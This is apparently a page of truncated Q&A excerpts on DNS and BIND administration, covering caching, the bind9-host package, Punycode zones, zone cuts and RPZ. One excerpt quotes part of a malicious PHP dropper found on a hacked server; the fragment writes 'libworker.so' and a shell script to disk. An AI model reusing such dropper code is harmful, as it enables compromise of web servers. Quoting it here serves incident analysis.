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High performance and low memory usage + short cache time are conflicting requirements. However, what should happen when hitting the max-cache-size limit is that it should start (prematurely) evicting entries from the cache (LRU). Forcing shorter TTLs (max-cache-ttl) sacrifices performance in favor of quicker convergence. (Probably a bad idea as this will ...


After digging in the source codes of offended PHP scripts and googling (this thread), I have found an explanation. This is part of system.php code which I have found: <?php // ... $n = file_put_contents("./libworker.so", $so); $AU=@$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"]; $HBN=basename("/usr/bin/host"); $SCP=getcwd(); @file_put_contents("1.sh", ...


The reason the package is called bind9-host is because it's part of the bind9 suite. However, it doesn't include the entire bind server, just the host executable (and documentation). host is a simple utility for performing DNS lookups, not a DNS server. You probably shouldn't remove it, since there are probably several scripts that depend on it.


You should convert UTF-8 host- and domain names to the correct Internationalized Domain Name in Punycode with for instance the idn utility from the libidn package: idn فلسطين xn--ygbi2ammx and then use that in your Bind zone: ; NS records for فلسطين transcribed in punycode 172800 .xn--ygbi2ammx IN NS idn.pnina.ps. Good practice is to ...


The closest you're going to get while staying within the standards is to create a "zone cut" at that boundary. This can be accomplished by either defining an additional zone called mysubdomain.example.com (which is more specific than your example.com zone), or delegating mysubdomain to a different nameserver entirely with NS records. That said, a request ...


No, you cannot with the MS DNS server.


Views and RPZ allow you to define static responses based on characteristics of the packet source/destination (views), query itself, or upstream authoritative server (RPZ). The operative word here is static. The packet headers and queries change, but the replies are always pre-defined and static. What you're looking for is a form of on the fly response ...

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